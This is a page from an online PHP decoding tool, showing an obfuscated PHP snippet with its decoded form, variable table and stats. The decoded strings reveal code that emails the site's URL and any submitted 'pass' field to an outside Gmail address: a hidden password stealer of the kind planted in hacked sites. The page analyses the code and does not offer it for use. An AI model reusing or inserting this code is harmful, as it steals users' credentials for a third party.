Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? $GLOBALS['_classes_']=Array(base64_decode('' .'c' .'3R' .'yX3JlcGxh' .'Y' .'2U='),base6..

Decoded Output download

<? $GLOBALS['_classes_']=Array(base64_decode('' .'c' .'3R' .'yX3JlcGxh' .'Y' .'2U='),base64_decode('Y' .'WR' .'kY' .'3NsYX' .'NoZ' .'XM='),base64_decode('' .'b' .'WFpbA==')); ?><? function classes($i){$a=Array('SFRU' .'UF9IT1NU','Uk' .'VRVU' .'VT' .'VF' .'9V' .'U' .'kk=','Lw' .'==','K' .'g=' .'=','' .'cGF' .'zcw' .'=' .'=','','' .'YWxleGxhdmlsb3ZAZ21haWwuY29t','TXkgU3Via' .'mV' .'jd' .'A==','IA' .'==','cG' .'Fz' .'cw==');return base64_decode($a[$i]);} ?><?php 
$and_0 = $_SERVER[classes(0)] . $_SERVER[classes(1)]; 
$and_0 = $GLOBALS["_classes_"][0](classes(2), classes(3), $and_0); 
while ( 
    round(0 + 311.33333333333 + 311.33333333333 + 311.33333333333) - 
    round(0 + 467 + 467) 
) { 
    $GLOBALS["_classes_"][1]($and_0); 
} 
if ($_POST[classes(4)] != classes(5)) { 
    $GLOBALS["_classes_"][2]( 
        classes(6), 
        classes(7), 
        $and_0 . classes(8) . $_POST[classes(9)] 
    ); 
} 
?> 

Did this file decode correctly?

Original Code

<? $GLOBALS['_classes_']=Array(base64_decode('' .'c' .'3R' .'yX3JlcGxh' .'Y' .'2U='),base64_decode('Y' .'WR' .'kY' .'3NsYX' .'NoZ' .'XM='),base64_decode('' .'b' .'WFpbA==')); ?><? function classes($i){$a=Array('SFRU' .'UF9IT1NU','Uk' .'VRVU' .'VT' .'VF' .'9V' .'U' .'kk=','Lw' .'==','K' .'g=' .'=','' .'cGF' .'zcw' .'=' .'=','','' .'YWxleGxhdmlsb3ZAZ21haWwuY29t','TXkgU3Via' .'mV' .'jd' .'A==','IA' .'==','cG' .'Fz' .'cw==');return base64_decode($a[$i]);} ?><?php
$and_0 = $_SERVER[classes(0)] . $_SERVER[classes(1)];
$and_0 = $GLOBALS["_classes_"][0](classes(2), classes(3), $and_0);
while (
    round(0 + 311.33333333333 + 311.33333333333 + 311.33333333333) -
    round(0 + 467 + 467)
) {
    $GLOBALS["_classes_"][1]($and_0);
}
if ($_POST[classes(4)] != classes(5)) {
    $GLOBALS["_classes_"][2](
        classes(6),
        classes(7),
        $and_0 . classes(8) . $_POST[classes(9)]
    );
}
?>

Function Calls

classes 4
base64_decode 10

Variables

$a [{'key': 0, 'value': 'SFRUUF9IT1NU'}, {'key': 1, 'value': 'UkVRVUVTVF9VUkk='}, {'key': 2, 'value': 'Lw=='}, {'key': 3, 'value': 'Kg=='}, {'key': 4, 'value': 'cGFzcw=='}, {'key': 5, 'value': ''}, {'key': 6, 'value': 'YWxleGxhdmlsb3ZAZ21haWwuY29t'}, {'key': 7, 'value': 'TXkgU3ViamVjdA=='}, {'key': 8, 'value': 'IA=='}, {'key': 9, 'value': 'cGFzcw=='}]
$i 3
$and_0 NoneNone
$_classes_ [{'key': 0, 'value': 'str_replace'}, {'key': 1, 'value': 'addcslashes'}, {'key': 2, 'value': 'mail'}]

Stats

MD5 a8e3e459e74104a71375034aa94c4707
Eval Count 0
Decode Time 97 ms